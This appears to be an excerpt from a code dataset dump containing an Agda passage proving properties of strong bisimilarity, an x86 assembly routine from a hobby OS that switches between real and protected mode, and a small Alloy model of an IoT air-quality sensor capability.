-- Combinators that can perhaps make the code a bit nicer to read.
infix -3 _⟶⟨_⟩ʳˡ_ _[_]⟶⟨_⟩ʳˡ_
lr-result-with-action lr-result-without-action
_⟶⟨_⟩ʳˡ_ : ∀ {i p′ q′ μ} p → p [ μ ]⟶ p′ → [ i ] p′ ∼′ q′ →
∃ λ p′ → p [ μ ]⟶ p′ × [ i ] p′ ∼′ q′
_ ⟶⟨ p⟶p′ ⟩ʳˡ p′∼′q′ = _ , p⟶p′ , p′∼′q′
_[_]⟶⟨_⟩ʳˡ_ : ∀ {i p′ q′} p μ → p [ μ ]⟶ p′ → [ i ] p′ ∼′ q′ →
∃ λ p′ → p [ μ ]⟶ p′ × [ i ] p′ ∼′ q′
_ [ _ ]⟶⟨ p⟶p′ ⟩ʳˡ p′∼′q′ = _ ⟶⟨ p⟶p′ ⟩ʳˡ p′∼′q′
lr-result-without-action :
∀ {i p′ q′ μ} → [ i ] p′ ∼′ q′ → ∀ q → q [ μ ]⟶ q′ →
∃ λ q′ → q [ μ ]⟶ q′ × [ i ] p′ ∼′ q′
lr-result-without-action p′∼′q′ _ q⟶q′ = _ , q⟶q′ , p′∼′q′
lr-result-with-action :
∀ {i p′ q′} → [ i ] p′ ∼′ q′ → ∀ μ q → q [ μ ]⟶ q′ →
∃ λ q′ → q [ μ ]⟶ q′ × [ i ] p′ ∼′ q′
lr-result-with-action p′∼′q′ _ _ q⟶q′ =
lr-result-without-action p′∼′q′ _ q⟶q′
syntax lr-result-without-action p′∼q′ q q⟶q′ = p′∼q′ ⟵⟨ q⟶q′ ⟩ q
syntax lr-result-with-action p′∼q′ μ q q⟶q′ = p′∼q′ [ μ ]⟵⟨ q⟶q′ ⟩ q
-- Strong bisimilarity is a weak simulation (of a certain kind).
strong-is-weak⇒̂ :
∀ {p p′ q μ} →
p ∼ q → p [ μ ]⇒̂ p′ →
∃ λ q′ → q [ μ ]⇒̂ q′ × p′ ∼ q′
strong-is-weak⇒̂ =
is-weak⇒̂ StepC.left-to-right (λ p∼′q → force p∼′q)
(λ s tr → step s tr done) ⟶→⇒̂
mutual
-- Bisimilarity is symmetric.
symmetric-∼ : ∀ {i p q} → [ i ] p ∼ q → [ i ] q ∼ p
symmetric-∼ p∼q =
StepC.⟨ Σ-map id (Σ-map id symmetric-∼′) ∘ StepC.right-to-left p∼q
, Σ-map id (Σ-map id symmetric-∼′) ∘ StepC.left-to-right p∼q
⟩
symmetric-∼′ : ∀ {i p q} → [ i ] p ∼′ q → [ i ] q ∼′ p
force (symmetric-∼′ p∼q) = symmetric-∼ (force p∼q)
private
-- An alternative proof of symmetry.
alternative-proof-of-symmetry : ∀ {i p q} → [ i ] p ∼ q → [ i ] q ∼ p
alternative-proof-of-symmetry {i} =
uncurry [ i ]_∼_ ⁻¹ ⊆⟨ ν-symmetric _ _ swap refl F.id ⟩∎
uncurry [ i ]_∼_ ∎
-- Strong bisimilarity is transitive.
transitive-∼ : ∀ {i p q r} → [ i ] p ∼ q → [ i ] q ∼ r → [ i ] p ∼ r
transitive-∼ {i} = λ p q →
StepC.⟨ lr p q
, Σ-map id (Σ-map id symmetric-∼′) ∘
lr (symmetric-∼ q) (symmetric-∼ p)
⟩
where
lr : ∀ {p p′ q r μ} →
[ i ] p ∼ q → [ i ] q ∼ r → p [ μ ]⟶ p′ →
∃ λ r′ → r [ μ ]⟶ r′ × [ i ] p′ ∼′ r′
lr p q tr =
let (_ , tr′ , p′) = StepC.left-to-right p tr
(_ , tr″ , q′) = StepC.left-to-right q tr′
in (_ , tr″ , λ { .force → transitive-∼ (force p′) (force q′) })
transitive-∼′ :
∀ {i p q r} → [ i ] p ∼′ q → [ i ] q ∼′ r → [ i ] p ∼′ r
force (transitive-∼′ p∼q q∼r) = transitive-∼ (force p∼q) (force q∼r)
|
src/cpu/modes.asm | InsaneMiner/tinyvale | 11 | 89771 | <filename>src/cpu/modes.asm
; BSD 3-Clause License
; Copyright (c) 2021, AtieP
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; 3. Neither the name of the copyright holder nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
modes_gdt: dq 0
modes_idt: dq 0
modes_ivt:
dw 0x3ff
dd 0
; Goes to real mode
; BX = CS; CX = IP
; All other segments set to 0
modes_real_mode:
push eax
pushf
sgdt [modes_gdt]
sidt [modes_idt]
o16 lidt [modes_ivt]
mov [.cs], bx
mov [.ip], cx
; Load 16 bit data selectors
mov ax, gdt_data16_sel
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
; Load 16 bit code selector
jmp gdt_code16_sel:.clear_pe
bits 16
.clear_pe:
mov eax, cr0
and al, ~(1)
mov cr0, eax
jmp 0x00:.set_stack
.set_stack:
xor ax, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
o32 popf
sti
pop eax
db 0xea ; far jump opcode
.ip: dw 0x00 ; cs
.cs: dw 0x00 ; ip
; Goes to protected mode
; EBX = Jump address
modes_protected_mode:
cli
push eax
lgdt [modes_gdt]
lidt [modes_idt]
mov eax, cr0
or al, 1
mov cr0, eax
jmp gdt_code32_sel:.set_selectors
bits 32
.set_selectors:
mov ax, gdt_data32_sel
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
pop eax
jmp ebx
|
FormalAnalyzer/models/meta/cap_airQualitySensor.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 1688 |
// filename: cap_airQualitySensor.als
module cap_airQualitySensor
open IoTBottomUp
one sig cap_airQualitySensor extends Capability {}
{
attributes = cap_airQualitySensor_attr
}
abstract sig cap_airQualitySensor_attr extends Attribute {}
one sig cap_airQualitySensor_attr_airQuality extends cap_airQualitySensor_attr {}
{
values = cap_airQualitySensor_attr_airQuality_val
}
abstract sig cap_airQualitySensor_attr_airQuality_val extends AttrValue {}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.